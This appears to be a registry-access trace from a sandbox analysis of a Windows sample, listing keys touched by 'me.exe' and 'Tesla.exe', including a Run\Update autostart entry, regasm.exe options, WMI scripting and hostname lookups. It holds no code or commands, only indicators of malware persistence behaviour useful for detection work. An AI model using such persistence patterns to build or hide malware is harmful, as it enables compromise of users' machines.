HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\40dcb014
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|me.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|me.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Local|Temp|me.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.mscorlib.resources_it_b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5e8c75c\1ffc8ca7
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\acbfa4f\6886c85f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\acbfa4f\618b7f1b
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\2e\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\46ad0879\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\38a3212c\44\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\455bab30\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\53bea2b0\2e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Web__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\4ad60644\6f323003
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\235dd0a9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5d1b2185\9e47f51
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DisableUNCCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tesla.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\1AB4763B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-1822907384-1282624486-319450072-1000\Installer\Assemblies\C:|Users|Seven01|AppData|Roaming|Tesla.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Seven01|AppData|Roaming|Tesla.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Seven01|AppData|Roaming|Tesla.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Update
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regasm.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\7680f30a\24dc5f0a
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\regasm.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\1DF4D951
HKEY_CURRENT_USER\Software\Classes\WinMgmts
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Scripting
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\WBEM\Scripting\Default Namespace
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSclient
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_CURRENT_USER\Software\Classes\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_CURRENT_USER\Software\Classes\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TreatAs
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_CURRENT_USER\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler32
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\TypeLib
HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}
HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0
HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2
HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0
HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_CLASSES_ROOT\CLSID\{62E522DC-8CF3-40A8-8B2E-37D595651E40}\InprocServer32
HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\410
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\410
HKEY_CURRENT_USER\Software\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\10
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\10
HKEY_CURRENT_USER\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TreatAs
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_CURRENT_USER\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler32
HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocHandler
HKEY_CURRENT_USER\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_CLASSES_ROOT\CLSID\{04B83D61-21AE-11D2-8B33-00600806D9B6}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.CustomMarshalers__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\109d7e79\357ee49a\44\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3d590c3f\59f3b67b\82\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\357ee49a\7d2df0ec\41\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\CustomMarshalers,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualC__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualC,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_CLASSES_ROOT\CLSID\{D6BDAFB2-9435-491F-BB87-6AA0F0BC31A2}\InprocServer32
HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}
HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0
HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0
HKEY_CURRENT_USER\Software\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5a8de2c3\2b1a4e4\47
